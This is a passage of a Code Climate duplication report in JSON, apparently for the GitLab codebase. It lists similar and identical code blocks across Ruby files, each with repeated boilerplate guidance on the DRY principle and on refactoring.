Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"925e4b3663b9cd9937ee7db7f882dfbc","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":55,"end":55}},"remediation_points":1250000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":89,"end":89}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 80**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b931145ce6d6777daae248a043f04d6d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":89,"end":89}},"remediation_points":1250000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":55,"end":55}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 80**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b931145ce6d6777daae248a043f04d6d","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/bitbucket/collection.rb","lines":{"begin":2,"end":18}},"remediation_points":410000,"other_locations":[{"path":"lib/bitbucket_server/collection.rb","lines":{"begin":4,"end":20}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 38**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9daf3a24f43b64dd40b3841c26c29df5","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/bitbucket_server/collection.rb","lines":{"begin":4,"end":20}},"remediation_points":410000,"other_locations":[{"path":"lib/bitbucket/collection.rb","lines":{"begin":2,"end":18}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 38**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ebc02a5c26ee206388b48b53d93e24a1","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":40,"end":89}},"remediation_points":1150000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":91,"end":140}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 75**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6778d05c8ddc9f6653765ac7ae623751","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":91,"end":140}},"remediation_points":1150000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":40,"end":89}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 75**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"6778d05c8ddc9f6653765ac7ae623751","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/git/tag.rb","lines":{"begin":14,"end":24}},"remediation_points":650000,"other_locations":[{"path":"lib/gitlab/git/commit.rb","lines":{"begin":159,"end":169}},{"path":"lib/gitlab/git/commit.rb","lines":{"begin":179,"end":189}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d27c41bdaed8bbbc1c91788baad098b2","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/git/commit.rb","lines":{"begin":159,"end":169}},"remediation_points":650000,"other_locations":[{"path":"lib/gitlab/git/commit.rb","lines":{"begin":179,"end":189}},{"path":"lib/gitlab/git/tag.rb","lines":{"begin":14,"end":24}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e87685897f699d56f0c9bba98c92c792","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/git/commit.rb","lines":{"begin":179,"end":189}},"remediation_points":650000,"other_locations":[{"path":"lib/gitlab/git/commit.rb","lines":{"begin":159,"end":169}},{"path":"lib/gitlab/git/tag.rb","lines":{"begin":14,"end":24}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 50**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e87685897f699d56f0c9bba98c92c792","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":46,"end":46}},"remediation_points":1150000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":80,"end":80}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 75**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"482f209ad35861d8a59e5e60275568d2","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":80,"end":80}},"remediation_points":1150000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":46,"end":46}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 75**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"482f209ad35861d8a59e5e60275568d2","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"qa/spec/git/location_spec.rb","lines":{"begin":3,"end":24}},"remediation_points":1130000,"other_locations":[{"path":"qa/spec/git/location_spec.rb","lines":{"begin":29,"end":50}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"dd9851dda741bf04f8f991425e6b4fa8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"qa/spec/git/location_spec.rb","lines":{"begin":29,"end":50}},"remediation_points":1130000,"other_locations":[{"path":"qa/spec/git/location_spec.rb","lines":{"begin":3,"end":24}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 74**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"dd9851dda741bf04f8f991425e6b4fa8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider 